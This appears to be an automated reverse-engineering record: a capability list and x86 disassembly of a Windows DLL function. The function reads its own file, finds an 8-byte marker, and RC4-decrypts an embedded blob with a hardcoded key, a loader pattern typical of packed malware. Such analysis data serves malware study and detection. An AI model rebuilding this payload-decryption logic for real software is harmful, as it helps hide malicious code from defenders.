Function at 0x10001000
Capabilities:
Encrypt data using rc4 ksa
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x130], edi
cmp edi, 0xffffffff
jne 0x1000105c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0xc], 0xeffcadfb
push esi
push 8
mov dword [ebp - 8], 0xbfdacffe
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
lea eax, [ebp - 0x124]
push 0
push eax
push esi
push ebx
push edi
mov dword [ebp - 0x128], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [esi - 8]
xor edi, edi
lea esi, [ebp - 0xc]
mov dword [ebp - 0x12c], eax
sub esi, ebx
mov edx, 8
mov eax, ebx
mov cl, byte [eax]
dec edx
cmp cl, byte [esi + eax]
jne 0x10001223
inc eax
test edx, edx
jne 0x100010b8
test ebx, ebx
je 0x10001232
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x800
push 8
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
movaps xmm0, xmmword [str.TJKbMTbhrmal7U]
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x128], eax
lea ecx, [esi + 1]
movups xmmword [ebp - 0x1c], xmm0
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001100
sub esi, ecx
xor edi, edi
xor ecx, ecx
nop dword [eax]
mov eax, ecx
mov byte [ebp + ecx - 0x230], cl
cdq
idiv esi
mov al, byte [ebp + edx - 0x1c]
mov byte [ebp + ecx - 0x330], al
inc ecx
cmp ecx, 0x100
jl 0x10001110
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x230]
movzx eax, byte [ebp + esi - 0x330]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10001166
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x230]
mov byte [ebp + edi - 0x230], dl
mov byte [ebp + esi - 0x230], al
inc esi
cmp esi, 0x100
jl 0x10001140
xor esi, esi
xor edx, edx
xor edi, edi
nop word [eax + eax]
inc edi
and edi, 0x800000ff
jns 0x100011a1
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x230]
movzx eax, cl
add esi, eax
and esi, 0x800000ff
jns 0x100011bd
dec esi
or esi, 0xffffff00
inc esi
mov al, byte [ebp + esi - 0x230]
mov byte [ebp + esi - 0x230], cl
movzx ecx, al
mov byte [ebp + edi - 0x230], al
movzx eax, byte [ebp + esi - 0x230]
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x128]
movzx eax, byte [ebp + eax - 0x230]
xor al, byte [ebx + edx + 8]
mov byte [edx + ecx], al
inc edx
cmp edx, 0x7a0
jl 0x10001190
pop esi
pop ebx
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
xor ecx, ebp
pop edi
call fcn.100013f8
mov esp, ebp
pop ebp
ret
inc edi
dec esi
inc ebx
cmp edi, dword [ebp - 0x12c]
jbe 0x100010b1
push dword [ebp - 0x128]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]